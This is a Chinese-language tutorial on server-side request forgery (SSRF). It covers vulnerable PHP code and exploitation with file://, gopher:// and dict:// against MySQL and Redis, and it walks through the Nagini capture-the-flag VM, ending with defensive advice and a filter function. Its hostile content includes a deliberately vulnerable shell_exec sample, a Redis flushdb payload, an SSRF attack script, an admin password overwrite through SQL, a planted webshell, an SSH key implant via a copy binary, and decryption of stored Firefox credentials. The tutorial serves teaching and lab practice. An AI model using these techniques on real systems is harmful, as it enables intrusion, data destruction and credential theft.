SSRF服務端請求偽造漏洞原理與修復及靶場實踐

SSRF服務端請求偽造漏洞原理與修復及靶場實踐

SSRF漏洞原理與檢測

SSRF(Server-Side Request Forgery,服務器端請求偽造)漏洞是一種因為服務端提供了遠程訪問服務,而并未對請求目標進行限制或限制不嚴格而引起的安全漏洞,攻擊者利用該漏洞可以在服務器端發起網絡請求,通常是向內部網絡發起請求,甚至可以從內部網絡訪問的資源。這種漏洞可能導致的風險包括信息泄露、內部系統攻擊、繞過防火墻訪問受限資源等。攻擊者可能會利用SSRF漏洞執行以下行為:

  • 獲取web應用可達服務器服務的banner信息以及收集內網web應用的指紋識別, 如開放的端口,中間件版本信息等。
  • 攻擊運行在內網的系統或應用程序,獲取內網各系統弱口令進行內網漫游、對有 漏洞的內網web應用實施攻擊獲取webshell,如st2命令執行、discuz ssrf通過redis 實施getshell等。
  • 利用有脆弱性的組件結合ftp://file:///gopher://dict://等協議實施攻擊。如 FFmpeg任意文件讀取,XXE攻擊等。
  • 利用SSRF存在主機進行跳板,甚至于無視CDN

當涉及到SSRF漏洞時,我們在測試時需要注意一些可能存在漏洞的場景:

  1. 圖片抓取、網頁分享、FFmpeg 轉碼等服務器對外發起請求的地方。

  2. 能夠對外發起網絡請求的地方。 如果服務器可以發起網絡請求,就可能存在SSRF漏洞。

  3. 從遠程服務器請求資源的地方。 例如通過URL上傳、導入文件,或者通過RSS訂閱等操作。

  4. 數據庫內置功能。 諸如Oracle、MongoDB、MSSQL、PostgreSQL、CouchDB等數據庫都具有加載外部URL的功能。

  5. Webmail服務收取其他郵箱郵件。 如POP3、IMAP、SMTP等協議。

  6. 文件處理、編碼處理、屬性信息處理。 例如FFmpeg、ImageMagick、Word、Excel、PDF、KML等處理文件或數據的程序。

但是在利用SSRF漏洞時,可能會受到一些限制:

  1. OpenSSL:當服務器開啟OpenSSL時,SSRF請求也必須遵從OpenSSL來交互,因此在某些情況下無法直接利用。

  2. 鑒權 :大部分網站使用Cookie鑒權,還有一部分使用HTTP Basic認證。當只能控制一個URL時,往往無法添加Cookie或www-authenticate頭部字段,從而無法訪問某些接口。

  3. 校驗其他字段。 例如:Referer、User-Agent等。

SSRF漏洞源代碼分析

PHPCURL組件SSRF

<?php
if(isset($_GET['url']) && $_GET['url'] != null){$requestURL = $_GET['url'];$curlHandle = curl_init($requestURL);curl_setopt($curlHandle, CURLOPT_HEADER, FALSE);curl_setopt($curlHandle, CURLOPT_SSL_VERIFYPEER, FALSE);$response = curl_exec($curlHandle);curl_close($curlHandle) ;echo $response;
}

這樣在PHP中產生SSRF漏洞的原因一般是由于cURL組件發起請求前未對地址進行有效過濾所導致的,下面詳細介紹一下cURL組件:

PHP 的 cURL(Client URL Library)是一組允許通過多種協議與服務器進行通信的庫。cURL 支持的協議包括 HTTP、HTTPS、FTP、FTPS、SCP、SFTP、SMTP、POP3、IMAP、SMB、GOPHER 等。它是處理網絡請求的強大工具,常用于抓取網頁、模擬表單提交、進行 API 請求等。

我們使用curl_init建立一個resource對象,否則返回false,它接收一個參數即目標URL,然后我們可以通過curl_setopt來設置請求的選項,通常有以下常用選項:

cURL 選項描述
CURLOPT_URL設置目標 URL。
CURLOPT_RETURNTRANSFER將響應結果返回為字符串,而不是直接輸出。
CURLOPT_POST設置請求方式為 POST。
CURLOPT_POSTFIELDS設置 POST 請求的字段。
CURLOPT_HTTPHEADER設置 HTTP 請求頭。
CURLOPT_SSL_VERIFYPEER是否驗證對方的 SSL 證書。
CURLOPT_TIMEOUT設置請求超時時間。
CURLOPT_HEADER是否在輸出中包含響應頭部信息。

然后通過curl_exec來發起請求,并且返回請求結果resource對象或false,最后使用curl_close來關閉curl_init建立的resource對象,我們對于這類漏洞的利用常常聚焦于以下URL標準協議范式:

協議描述示例
http://通過 HTTP 協議訪問網頁和網絡資源http://example.com
https://通過 HTTPS 協議訪問網頁和網絡資源https://example.com
ftp://通過 FTP 協議訪問文件傳輸協議服務器上的資源ftp://example.com/file.txt
sftp://通過 SFTP 協議(SSH 文件傳輸協議)訪問資源sftp://example.com/file.txt
ftps://通過 FTPS 協議(FTP Secure)訪問資源ftps://example.com/file.txt
file://訪問本地文件系統中的文件file:///C:/path/to/file.txt
ldap://訪問 LDAP(輕量目錄訪問協議)目錄服務ldap://example.com/dc=example,dc=com
ldaps://通過 LDAPS(LDAP over SSL)訪問 LDAP 目錄服務ldaps://example.com/dc=example,dc=com
ssh://通過 SSH(安全外殼協議)訪問資源ssh://user@example.com
git://通過 Git 協議訪問 Git 版本控制系統倉庫git://example.com/repo.git
svn://通過 SVN 協議(Subversion)訪問 SVN 版本控制系統倉庫svn://example.com/repo
ws://通過 WebSocket 協議進行雙向通信ws://example.com/socket
wss://通過 WebSocket Secure 協議進行雙向通信wss://example.com/socket

注意一個誤區:CURL組件并不直接支持PHP的偽協議,這里的file://實質上是一種標準的URL范式,CURL組件直接支持的協議只有HTTP、HTTPS、file、ftp,其他的協議在老版本PHP中需要啟用 cURL 封裝器:--with-curlwrappers,不過--with-curlwrappers 設置在較新的 PHP 版本中已經被廢棄了。PHP 開發團隊認為 cURL 封裝器在某些情況下可能會帶來安全問題和不可預見的行為,因此決定在新的 PHP 版本中棄用這一選項。對于需要網絡協議支持的情況,推薦使用 cURL 擴展直接進行網絡請求,對于其他的協議需要特定擴展啟用

遠程文件訪問SSRF

<?php
if(isset($_GET['file']) && $_GET['file'] !=null){$filename = $_GET['file'];$file_content_str = file_get_contents($filename);echo $file_content_str;
}

file_get_contents 是 PHP 中用于讀取文件內容的函數。它將文件的內容讀入一個字符串,并返回該字符串。這個函數常用于讀取文件的內容,比如讀取文本文件、配置文件,或者從遠程服務器獲取數據。get_file_content的語法如下:

string file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = -1 [, int $maxlen = -1 ]]]] )
參數名稱類型說明
$filenamestring文件的路徑或者URL。可以是本地文件系統路徑,也可以是遠程文件的URL。
$use_include_pathboolean(可選)如果設置為 true,會在 include 路徑中查找文件。默認值是 false。
$contextresource(可選)一個有效的上下文資源,創建自 stream_context_create。用來設置文件讀取的環境(比如HTTP請求的頭信息)。
$offsetinteger(可選)讀取的起始位置。如果設置為負數,則表示從文件末尾開始的偏移量。
$maxleninteger(可選)要讀取的最大長度。如果設置為負數或未提供,則讀取整個文件。

需要注意的是,該函數支持多種協議,包括PHP的偽協議,但是其包讀取遠程文件需要allow_url_fopen = On支持

fsockopen訪問SSRF

fsockopen是PHP中用于打開網絡連接或UNIX套接字連接的函數。它是一個較底層的網絡操作工具,允許開發者創建客戶端與服務器之間的連接。這個函數特別適用于需要在應用程序中進行自定義網絡通信的場景。其函數原型如下:

resource fsockopen ( string $hostname , int $port [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]] )
參數描述示例op
$hostname要連接的主機名,可以是域名或IP地址。www.example.com 或 192.168.0.1必填
$port要連接的端口號。例如,HTTP默認端口是80,HTTPS默認端口是443。80 或 443必填
$errno變量,用于捕獲錯誤代碼。$errno可選
$errstr變量,用于捕獲錯誤信息。$errstr可選
$timeout連接超時時間,單位是秒。默認為php.ini配置中的default_socket_timeout值。30可選
<?php
$hostname = "www.example.com";
$port = 80;
$timeout = 30; // 設置超時時間為30秒// 嘗試打開一個套接字連接
$fp = fsockopen($hostname, $port, $errno, $errstr, $timeout);if (!$fp) {// 連接失敗,輸出錯誤信息echo "Error: $errno - $errstr<br />\n";
} else {// 連接成功,發送HTTP GET請求$out = "GET / HTTP/1.1\r\n";$out .= "Host: $hostname\r\n";$out .= "Connection: Close\r\n\r\n";fwrite($fp, $out);// 讀取服務器響應while (!feof($fp)) {echo fgets($fp, 128);}// 關閉連接fclose($fp);
}
?>

漏洞利用-SSRF主機探測

在存在SSRF漏洞時,我們可以在請求的地址中修改端口號來進行端口掃描(有的師傅也稱服務探針),即:

http://127.0.0.1:port

我們也可以利用BurpSuite的Intruder來自動化探測:

在這里插入圖片描述

而我們直接枚舉可能的內網主機IP又可以進行內網主機探測:

在這里插入圖片描述

漏洞利用-攻擊內網薄弱點

因為SSRF具有訪問內部服務的特性,我們可以借助SSRF漏洞存在的主機去攻擊其它具有漏洞的內網主機,比如我在另一臺虛擬機中啟動一個RCE漏洞來進行測試,其目標對象主要是使用 GET 參數就可以實現的攻擊:

<?php
if (isset($_GET['cmd'])) {$target = $_GET['cmd'];$cmd = shell_exec($target);$utf8_data = mb_convert_encoding($cmd, 'UTF-16', 'auto');echo $utf8_data;
}

在這里插入圖片描述

漏洞利用-敏感文件泄露

我們直接利用file://協議就可以直接進行文件讀取:

在這里插入圖片描述

漏洞利用-數據庫未授權

GOPHER協議是一種用于在互聯網上檢索文檔的協議,類似于HTTP。它最初于1991年由馬克·麥考爾(Mark P. McCahill)等人開發,是早期互聯網上流行的一種協議。GOPHER協議的主要特點是其簡單性和效率。與HTTP不同,GOPHER協議使用文本格式傳輸數據,并且不支持復雜的內容和交互性。但是這一協議在Jdk8中被移除支持。

我們之所以利用這個協議,原因是因為它可以將HTTP請求變形,通過直接寫入TCP數據流的方式來進行操作:

gopher://host:port/path_(需要接入的TCP數據流)

我們可以使用GOPHER工具來生成我們的payload,然后發起請求即可:

https://github.com/tarunkant/Gopherus

它支持生成MySQL, Redis,PostgreSQL,FastCGI等多種payload我們直接使用以下命令生成即可:

python2 gopherus.py --exploit payload類型

通常攻擊MySQL未授權使用此協議,后文的靶場實踐中就利用的此協議,在這里我們來講一下另一種攻擊Redis的方式:

dict://協議是一種用于訪問字典服務器的協議,它使得客戶端可以通過網絡查詢字典數據庫。dict://協議是由GNU項目開發的一部分,旨在提供一種標準化的方法來查詢和獲取字典定義、同義詞、反義詞等信息。它使用TCP協議進行通信,客戶端通過連接到特定的端口(默認是2628)與服務器進行交互。我們可以利用它來利用Redis未授權訪問,例如讀取redis的配置信息

dict://host_address:6379/info

我們只需要改變后面的內容即可,例如刪除所有鍵:

dict://host_address:6379/fiushdb

相比于gopher協議,其美中不足的是一次只能執行一條語句

漏洞利用-不安全下載

在一些有下載的業務功能點上,可能會出現文件下載點,并且大概率是臨時文件下載,以cURL組件為例:

<?php$url = "http://xxxx.com/file/1.txt";
$saveTo = "downloaded_file.txt";
$ch = curl_init($url);
$fp = fopen($saveTo, 'w+');
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // 允許重定向
curl_exec($ch);// 關閉cURL會話和文件
curl_close($ch);
fclose($fp);

這種情況下開啟了文件保存,我們也可以嘗試寫入Webshell

Nagini通關演示SSRF利用

目標前期信息搜集

此靶機要求獲得root權限,找到3個flag,我們先進行ping探測發現主機10.0.2.5

──(root?kali)-[~]
└─# nmap -sn 10.0.2.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-05 13:32 EDT
...
Nmap scan report for 10.0.2.5
Host is up (0.0016s latency).
MAC Address: 08:00:27:DA:26:41 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.4
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.36 seconds

訪問主機頁面進行驗證,發現主頁只有一張圖片:

在這里插入圖片描述

nmap掃一下端口和服務吧,畢竟什么信息都沒有:

┌──(root?kali)-[~]
└─# nmap -p- 10.0.2.5   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-05 13:40 EDT
Nmap scan report for 10.0.2.5
Host is up (0.00040s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:DA:26:41 (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 10.42 seconds

貌似沒什么用,感覺可以下班了(bushi。繼續進行信息搜集,先看看robots.txt摸個獎,發現根目錄似乎沒有,下班。進行目錄爆破吧,沒轍:

──(root?kali)-[~/Desktop/dirsearch-master]
└─# gobuster dir -u http://10.0.2.5 -w ~/Desktop/directory-list-lowercase-2.3-small.txt -x php,html,js,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.0.2.5
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /root/Desktop/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,js,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 273]
/.php                 (Status: 403) [Size: 273]
/index.html           (Status: 200) [Size: 97]
/note.txt             (Status: 200) [Size: 234]
/joomla               (Status: 301) [Size: 305] [--> http://10.0.2.5/joomla/]

還沒爆破完發現運行的是joomla,還發現個東西note.txt ,進去看看:

┌──(root?kali)-[~]
└─# curl http://10.0.2.5/note.txt 
Hello developers!!I will be using our new HTTP3 Server at https://quic.nagini.hogwarts for further communications.
All developers are requested to visit the server regularly for checking latest announcements.Regards,
site_amdin

發現是個提示,叫我們使用http3瀏覽器去訪問,然后我們繼續摸joomla掃描發現其根目錄下有其關鍵配置文件,遇到配置文件我們可以試試摸獎管理員備份習慣,很顯然摸獎成功,并且我們還發現了robots.txt:

┌──(root?kali)-[~]
└─# wget http://10.0.2.5/joomla/configuration.php.bak -O cfg.php
--2024-04-06 01:52:09--  http://10.0.2.5/joomla/configuration.php.bak
Connecting to 10.0.2.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1978 (1.9K) [application/x-trash]
Saving to: ‘cfg.php’cfg.php                 100%[=============================>]   1.93K  --.-KB/s    in 0s      2024-04-06 01:52:09 (126 MB/s) - ‘cfg.php’ saved [1978/1978]┌──(root?kali)-[~]
└─# cat cfg.php  
<?php
class JConfig {public $offline = '0';public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';public $display_offline_message = '1';public $offline_image = '';
...

轉了一圈發現robots.txt是沒啥大用

┌──(root?kali)-[~]
└─# curl http://10.0.2.5/joomla/robots.txtUser-agent: *
Disallow: /administrator/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/

既然是joomla,我們可以試試joomscan專門進行joomla的掃描https://github.com/OWASP/joomscan

[+] FireWall Detector
[++] Firewall not detected[+] Detecting Joomla Version
[++] Joomla 3.9.25[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable[+] Checking Directory Listing                                                                
[++] directory has directory listing :                                                        
http://10.0.2.5/joomla/administrator/components                                               
http://10.0.2.5/joomla/administrator/modules                                                  
http://10.0.2.5/joomla/administrator/templates                                                
http://10.0.2.5/joomla/tmp                                                                    
http://10.0.2.5/joomla/images/banners                                                         [+] Checking apache info/status files                                                         
[++] Readable info/status files are not found                                                 [+] admin finder                                                                              
[++] Admin page : http://10.0.2.5/joomla/administrator/                                       [+] Checking robots.txt existing                                                              
[++] robots.txt is found                                                                      
path : http://10.0.2.5/joomla/robots.txt                                                      Interesting path found from robots.txt                                                        
http://10.0.2.5/joomla/joomla/administrator/                                                  
http://10.0.2.5/joomla/administrator/                                                         
http://10.0.2.5/joomla/bin/                                                                   
http://10.0.2.5/joomla/cache/                                                                 
http://10.0.2.5/joomla/cli/                                                                   
http://10.0.2.5/joomla/components/                                                            
http://10.0.2.5/joomla/includes/                                                              
http://10.0.2.5/joomla/installation/                                                          
http://10.0.2.5/joomla/language/                                                              
http://10.0.2.5/joomla/layouts/                                                               
http://10.0.2.5/joomla/libraries/                                                             
http://10.0.2.5/joomla/logs/                                                                  
http://10.0.2.5/joomla/modules/                                                               
http://10.0.2.5/joomla/plugins/                                                               
http://10.0.2.5/joomla/tmp/                                                                   [+] Finding common backup files name                                                          
[++] Backup files are not found                                                               [+] Finding common log files name                                                             
[++] error log is not found                                                                   [+] Checking sensitive config.php.x file                                                      
[++] Readable config file is found                                                            config file path : http://10.0.2.5/joomla/configuration.php.bak                              

這個joomla版本也找不到什么公布的可用漏洞exp,自此前期收集基本完畢,匯總有用信息:

泄漏的配置文件備份中可能有用的信息如下:

	public $dbtype = 'mysqli'; // mysqlpublic $host = 'localhost';public $user = 'goblin';  // 數據庫賬戶public $password = '';public $db = 'joomla';public $dbprefix = 'joomla_';public $live_site = '';public $secret = 'ILhwP6HTYKcN7qMh'; // 加密用的密鑰

提示中的http3訪問提示:

https://quic.nagini.hogwarts

Http3瀏覽器配置

這節對配置訪問不關心的可以不用看

kali裝chrome可以用gdebi,它可以幫我們自動安裝依賴,我們運行以下指令即可:

sudo apt install gdebi
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo gdebi google-chrome-stable_current_amd64.deb
google-chrome --no-sandbox

在chrome的chome://flags頁面開啟quic設置:

在這里插入圖片描述

重啟chrome后訪問https://quic.nginx.org測試配置是否成功,出現以下內容則證明配置生效:

在這里插入圖片描述

我們配置一下host文件去訪問notes中的頁面然后發現不行。那我們去配置Google的測試版瀏覽器quiche吧,我們先裝個rust,直接輸入官方指令,然后根據終端提示輸入時,選擇默認安裝即可:

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

然后我們依次運行以下指令安裝必要依賴,下面的語句也可以直接寫成一條,看個人喜好:

sudo apt install cmake
sudo apt install g++
sudo apt install gcc
sudo apt install gdb

然后關鍵來了,我們安裝quiche瀏覽器的時候,一定要選擇git clone,不然會出現子模塊丟失,依賴項不完整等一系列的大坑:

cargo run --bin quiche-client -- https://cloudflare-quic.com/
cd ./quiche
cargo build --examples
cargo test

然后依次運行以下指令進行訪問靶場操作:

cd ./target/debug/examples
./http3-client https://quic.nagini.hogwarts

然后,就沒有然后了,因為根本不會有wp的回顯,筆者瘋狂查閱資料,發現可能是由于版本更迭原因,這個靶場實質上是有點問題的,也就是說你訪問不了,不過也有水友說多訪問幾次有概率成功(麻了,在這里卡了兩個小時):
在這里插入圖片描述

SSRF漏洞檢測與利用

借助了一點點場外援助,得知下一步是訪問頁面internalResourceFeTcher.php,進去是這個樣子的:

在這里插入圖片描述

一個內部網絡資源獲取頁面,看起來就非常符合我們的服務端請求偽造漏洞的產生條件

常出現SSRF漏洞的功能點:

  • 遠程文件包含(Remote File Inclusion):允許用戶輸入文件路徑或URL,用于包含遠程文件
  • 遠程文件包含(Remote File Inclusion):允許用戶輸入文件路徑或URL,用于包含遠程文件。
  • 圖像處理(Image Processing):允許用戶上傳圖片并進行處理,如果處理過程中使用了遠程URL,可能導致SSRF漏洞。
  • URL轉發(URL Forwarding):允許用戶輸入URL并進行轉發或訪問,如果未經充分驗證,可能導致SSRF漏洞。
  • 資源下載(Resource Download):允許用戶輸入URL下載資源,未經過濾的輸入可能導致SSRF漏洞。

那這里我們怎么測呢?我們可以從內網,外網,本地文件系統三方面測試,由于這里只有一臺靶機,那我們測試的點就是環回地址,利用的點就是文件協議了,我們依次嘗試:

  • 訪問外網鏈接

在這里插入圖片描述

  • 訪問內網也行,看來SSRF成立

在這里插入圖片描述

直接文件協議走起先看不看能不能成:

在這里插入圖片描述

那這個東西要怎么用呢?回頭再看看我們手上的信息還有一個備份的配置文件:

	public $dbtype = 'mysqli'; // mysqlpublic $host = 'localhost';public $user = 'goblin';  // 數據庫賬戶public $password = ''; public $db = 'joomla';public $dbprefix = 'joomla_';public $live_site = '';public $secret = 'ILhwP6HTYKcN7qMh'; // 加密用的密鑰

我們發現配置文件上的密碼,它是空的,想到SSRF可以打未授權,我們不妨試試,先用生成一個payload:

python2 gopherus.py --exploit mysql
USE joomla; SHOW TABLES;

手動打不太好使,我們寫個單線程腳本:

from typing import Final
import requestsPAYLOAD: Final = """ """
HOST: Final = 'http://10.0.2.5/internalResourceFeTcher.php'def ssrf_repeater(host: str, payload: dict[str, str]) -> tuple[str, int]:response = requests.get(url=host, params=payload, timeout=2)return (response.text, len(response.text))def start_attack() -> None:res_data: tuple[str, int] = None usual_status: int = ssrf_repeater(host=HOST, payload={'1':'1'})[1]while True:tmp_res: tuple[str, int] = ssrf_repeater(host=HOST, payload={'url': PAYLOAD})if tmp_res[1] != usual_status:res_data = tmp_resbreakwith open('res.txt', 'w') as f:f.write(res_data[0])if __name__ == "__main__":start_attack()

在這里插入圖片描述

發現個joomla_users進去看看,然后替換掉管理員密碼即可(這里待會兒細說):

SELECT * FROM joomla.joomla_users;

重復上述生成payload過程,繼續操作,發現一個site_admin,然后從上面的一大堆亂碼里面發現用戶字段是username,密碼字段是password

在這里插入圖片描述

那么問題來了,我們怎么替換它的密碼呢?換句話講它的加密類型是什么?于是我們去搜索一下,發現joomla的加密方式還是有一定的風險,它默認的加密方式是md5

接下來直接生成 123456

import hashlibmd5 = hashlib.md5()
md5.update("123456".encode('utf-8'))
result = md5.hexdigest()
print(result)
# 輸出 e10adc3949ba59abbe56e057f20f883e
UPDATE joomla.joomla_users SET password='e10adc3949ba59abbe56e057f20f883e' WHERE username='site_admin';

在這里插入圖片描述

梭哈成功,去登錄后臺

文件修改反彈SHELL

訪問靶機地址http://10.0.2.5/joomla/administrator/ ,在網站后臺逛了一圈沒有發現明顯的flag內容,那就只能進入服務器后臺了,joomla的后臺支持自定義模板,但是卻是直接修改文件的,這為我們getshell提供了可能:

templates頁面我們可以發現默認模板是protostar,我們進入其中找到一個文件或新建一個文件,植入一句話:

在這里插入圖片描述

然后用蟻劍連接,一圈查找發現了幾個有意思的文件:

在這里插入圖片描述

發現flag1

在這里插入圖片描述

寫個腳本解碼內容:

import base64encoded_data = "MzogU2x5dGhFcmlOJ3MgTG9jS0VldCBkRXN0cm9ZZUQgYlkgUm9O"  
decoded_data = base64.b64decode(encoded_data)  print(decoded_data.decode("utf-8"))  
# 輸出 3: SlythEriN's LocKEet dEstroYeD bY RoN

.creds.txt文件中會發現一個base64字符串,我們用上面腳本解碼:

Love@lilly

懷疑有可能是一個用戶密碼,我們登錄試試:

在這里插入圖片描述

SSH替換-hermoine提權

登錄成功了,但是還是沒有權限查看文件,開始在蟻劍中看到的那個文件是用來復制文件的。目前要想辦法提權,試了一圈發現sudo沒有,git,python,find目前提不了權,那我們就去利用ssh,傳個密鑰上去看能不能突破,先生成傳遞密鑰:

┌──(root?kali)-[~/.ssh]
└─# ssh-keygen    
Generating public/private ed25519 key pair.
Enter file in which to save the key (/root/.ssh/id_ed25519): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_ed25519
Your public key has been saved in /root/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:pwe5xfe144TDvjZLvg6ubkO1TK7AvocPJu9iggRfBo0 root@kali
The key's randomart image is:
+--[ED25519 256]--+
|   o             |
|  E .            |
|   .             |
|.   o    o o     |
|.. o  . S O o   .|
| ..    o B =.....|
|. .  ..o* o. =.+ |
| . . o+o.*. =o+ .|
|    o o+*+o.oB=. |
+----[SHA256]-----+┌──(root?kali)-[~/.ssh]
└─# ll
total 16
-rw------- 1 root root 399 Apr  9 07:36 id_ed25519
-rw-r--r-- 1 root root  91 Apr  9 07:36 id_ed25519.pub
-rw------- 1 root root 364 Apr  9 07:23 known_hosts
-rw-r--r-- 1 root root 142 Apr  8 10:10 known_hosts.old┌──(root?kali)-[~/.ssh]
└─# scp id_ed25519.pub snape@10.0.2.5:~
snape@10.0.2.7's password: 
id_ed25519.pub                                100%   91    53.0KB/s   00:00 

上傳了公鑰,我們直接利用開始發現的cp文件移動到hermoine賬戶中:

snape@Nagini:~$ cd ~
snape@Nagini:~$ ls
id_ed25519.pub
snape@Nagini:~$ /home/hermoine/bin/su_cp id_ed25519.pub /home/hermoine/.ssh/authorized_keys
snape@Nagini:~$ cd /home/hermoine/.ssh/
snape@Nagini:/home/hermoine/.ssh$ ls
authorized_keys
發現flag2

然后登錄目標賬戶,查看文件:

──(root?kali)-[~/.ssh]
└─# ssh hermoine@10.0.2.5 -i id_ed25519 
Linux Nagini 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr  4 16:43:01 2021 from ::1
hermoine@Nagini:~$ ls
bin  horcrux2.txt
hermoine@Nagini:~$ cat horcrux2.txt 
horcrux_{NDogSGVsZ2EgSHVmZmxlcHVmZidzIEN1cCBkZXN0cm95ZWQgYnkgSGVybWlvbmU=}
hermoine@Nagini:~$ 

base64解密看到是:

4: Helga Hufflepuff's Cup destroyed by Hermione

FireFox泄露- root提權

換了個賬戶,還是不能通過一些服務提權,估計應該是自己找線索了,看到一個火狐瀏覽器的文件夾:

.mozilla文件夾通常用于存儲 Mozilla 系列軟件(如 Firefox 和 Thunderbird)的配置文件和數據。在 Linux 和 macOS 系統上,該文件夾通常位于用戶的主目錄下。在 Windows 系統上,它通常位于用戶的個人文件夾中(例如 C:\Users\YourUsername)。

.mozilla 文件夾中,你會找到各種子文件夾和文件,用于存儲瀏覽器或郵件客戶端的書簽、歷史記錄、插件、主題等配置信息和數據。請注意,這些文件可能包含敏感信息,如登錄憑據和歷史記錄,所以請謹慎處理這些文件。

那我們下一步就是要進行文件傳輸到本地解密:

┌──(root?kali)-[~/Desktop]
└─# scp -rp hermoine@10.0.2.7:/home/hermoine/.mozilla ~/Desktop 
profiles.ini                                    100%  175    62.1KB/s   00:00    
InstallTime20190517140819                       100%   10     2.6KB/s   00:00    
InstallTime20190828152820                       100%   10     2.8KB/s   00:00    
InstallTime20190718161435                       100%   10     3.0KB/s   00:00    
InstallTime20180704192850                       100%   10     3.5KB/s   00:00    
InstallTime20201112153044                       100%   10     3.2KB/s   00:00    
6fe7bc8b-2a2b-4d14-d690-87671133c006.dmp        100%  124KB   8.7MB/s   00:00    
...┌──(root?kali)-[~/Desktop]
└─# ls -a
.                                     antSword-master.zip               .mozilla
..                                    code_1.88.0-1712152114_amd64.deb  New
AntSword-Loader-v4.0.3-linux-x64      code.desktop                      res.txt
AntSword-Loader-v4.0.3-linux-x64.zip  firefox_decrypt                   ssrf.py
antSword-master                       Gopherus┌──(root?kali)-[~/Desktop]
└─# cd firefox_decrypt                 ┌──(root?kali)-[~/Desktop/firefox_decrypt]
└─# python3 firefox_decrypt.py ~/Desktop/.mozilla/firefox Website:   http://nagini.hogwarts
Username: 'root'
Password: '@Alohomora#123'
發現flag3
┌──(root?kali)-[~/Desktop/firefox_decrypt]
└─# ssh root@10.0.2.5                                         
root@10.0.2.7's password: 
...
root@Nagini:~# ls -a
.   .bash_history  .gnupg        .mysql_history  .selected_editor  .viminfo    .Xauthority
..  .bashrc        horcrux3.txt  .profile        .ssh              .wget-hsts
root@Nagini:~# cat horcrux3.txt ____                            _         _       _   _                 / ___|___  _ __   __ _ _ __ __ _| |_ _   _| | __ _| |_(_) ___  _ __  ___ 
| |   / _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| '_ \/ __|
| |__| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | \__ \\____\___/|_| |_|\__, |_|  \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|___/|___/                                                   Machine Author: Mansoor R (@time4ster)
Machine Difficulty: Medium
Machine Name: Nagini
Horcruxes Hidden in this VM: 3 horcruxesYou have successfully pwned Nagini machine.
Here is your third hocrux: horcrux_{NTogRGlhZGVtIG9mIFJhdmVuY2xhdyBkZXN0cm95ZWQgYnkgSGFycnk=}

解碼得到:

5: Diadem of Ravenclaw destroyed by Harry

SSRF漏洞的防御與修復

SSRF是含有一定特征性的,一般一個接口,異常的請求內網IP,在日志系統中都有 記錄,且很可能是連續性的,因為需要猜測,所以在一定時間段會有明顯的請求量。 可以通過這個特征去做初步判斷。

  1. 對用戶輸入進行充分驗證和過濾,避免用戶輸入直接用于構造請求。
  2. 限制服務器發起的網絡請求的目標,盡可能使用白名單機制。
  3. 使用安全框架或工具對輸入進行檢查和過濾,如使用正則表達式檢查URL。
  4. 避免將內部接口直接暴露在公網中,使用防火墻等措施限制訪問。
  5. 過濾返回信息,驗證遠程服務器對請求的響應
  6. 統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠端服務器的端口狀態
  7. 禁用不需要的協議。僅允許http和https請求
  8. 限制請求的端口為http常用的端口,比如80,443,8080,8090
  9. 限制重定向的目標或直接禁用
<?phpfunction is_url_allowed($url) {// 解析URL$parsed_url = parse_url($url);if ($parsed_url === false) {return false;}// 檢查scheme是否在白名單中$allowed_schemes = ['http', 'https'];if (!in_array($parsed_url['scheme'], $allowed_schemes)) {return false;}// 獲取IP地址$host = $parsed_url['host'];$ip = gethostbyname($host);if ($ip === $host) {return false; }// 允許的IP范圍或域名列表$allowed_ips = ['203.0.113.0', '203.0.113.1']; $allowed_domains = ['example.com', 'api.example.com'];if (!in_array($ip, $allowed_ips) && !in_array($host, $allowed_domains)) {return false;}// 過濾關鍵字$forbidden_keywords = ['localhost', '127.0.0.1', 'internal'];foreach ($forbidden_keywords as $keyword) {if (strpos($host, $keyword) !== false) {return false;}}// 過濾端口$allowed_ports = ['80', '443'];$port = isset($parsed_url['port']) ? $parsed_url['port'] : '80'; // 默認端口為80if (!in_array($port, $allowed_ports)) {return false;}return true;
}function fetch_url($url) {if (!is_url_allowed($url)) {die('URL not allowed');}$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);$response = curl_exec($ch);curl_close($ch);return $response;
}

SSRF漏洞繞過方式總結

  • 對于內網地址的過濾不嚴謹,我們可以考慮對IP地址進行轉換
